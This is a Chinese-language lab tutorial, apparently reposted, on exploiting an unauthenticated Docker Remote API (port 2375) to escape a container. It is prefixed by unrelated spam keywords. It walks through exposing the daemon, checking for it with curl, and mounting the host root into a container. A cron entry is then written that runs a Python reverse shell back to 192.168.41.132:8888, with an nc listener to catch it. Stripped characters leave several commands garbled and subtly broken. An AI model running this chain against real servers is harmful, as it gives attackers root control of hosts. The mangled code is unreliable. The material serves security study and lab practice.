国外学校网站模板,wordpress和apache,手机可以登录国家开发银行网站吗,东莞疾控最新提醒Docker Remote API 未授权访问逃逸
基础知识
Docker Remote API 是一个取代远程命令行界面#xff08;rcli#xff09;的REST API#xff0c;其默认绑定2375端口#xff0c;如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以…Docker Remote API 未授权访问逃逸
基础知识
Docker Remote API 是一个取代远程命令行界面rcli的REST API其默认绑定2375端口如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以访问这个 API可导致敏感信息泄露甚至可进一步利用Docker自身特性借助容器逃逸最终完全控制宿主服务器
Docker daemon 是 Docker 引擎的后台进程也称为 Dockerd。它是一个长时间运行的进程负责管理 Docker 镜像、容器、网络和存储等各种资源并提供一个 API 以供 Docker 客户端进行交互
当您在 Docker 主机上使用 Docker 命令时例如 docker runDocker 客户端将向 Docker daemon 发送命令请求并通过 Docker API 进行通信。Docker daemon 接收并解析这些请求并在其内部管理对象存储中创建、修改或删除相应的 Docker 资源。随后Docker daemon 将响应结果发送回客户端然后等待下一个命令请求
另外Docker daemon 也负责监视 Docker 主机上正在运行的容器和服务以及处理与 Docker 网络和存储相关的操作。它还可以与其他 Docker daemon 进行通信以实现跨主机的镜像和容器管理。总之Docker daemon 是整个 Docker 引擎的核心组件负责实现 Docker 的各种功能并将其暴露给用户和其他程序使用
环境搭建
首先我们执行如下的代码将 docker 守护进程监听在 0.0.0.0
dockerd -H0.0.0.0:2375 -H unix:///var/run/docker.sock-H0.0.0.0:2375指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Dockerdaemon 监听的端口号-H unix:///var/run/docker.sock指定 Docker daemon 监听的 Unix 域套接字路径即 /var/run/docker.sock
运行这个命令Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护 执行后出现上面错误是由于当前环境docker已经在运行中了需要先停止docker
systemctl stop docker在执行下面的命令
dockerd -H0.0.0.0:2375 -H unix:///var/run/docker.sock通过攻击机查看靶机所安装的镜像
docker -H tcp://IP:2375 images漏洞检测
访问 http 请求 curl 192.168.41.132:2375/info如果返回内容含有DockerRootDir等字符则证明存在docker未授权访问漏洞
curl 192.168.41.132:2375/info | grep DockerRootDir或者输入如下的命令
IPhostname -i | awk -F. {print $1 . $2 . $3 .1} wget http://$IP:2375如果返回 404 说明漏洞存在 漏洞复现
攻击机运行以下的命令查看对方的容器
docker -H tcp://target:2375 ps -a新运行一个容器挂载点设置为服务器的根目录挂载至/mnt目录下此时修改/mnt/etc/crontab相当于修改/etc/crontab文件
docker -H tcp://192.168.41.132:2375 run -it -v /:/mnt nginx:latest /bin/bash在容器内执行命令将反弹shell的脚本写入到/etc/crontab文件
echo -e * * * * * root /usr/bin/python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\192.168.41.132\,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\/bin/sh\,\-i\]);\n /mnt/etc/crontab在攻击开启监听
nc -lvvp 8888等待一分钟过后攻击机收到反弹shell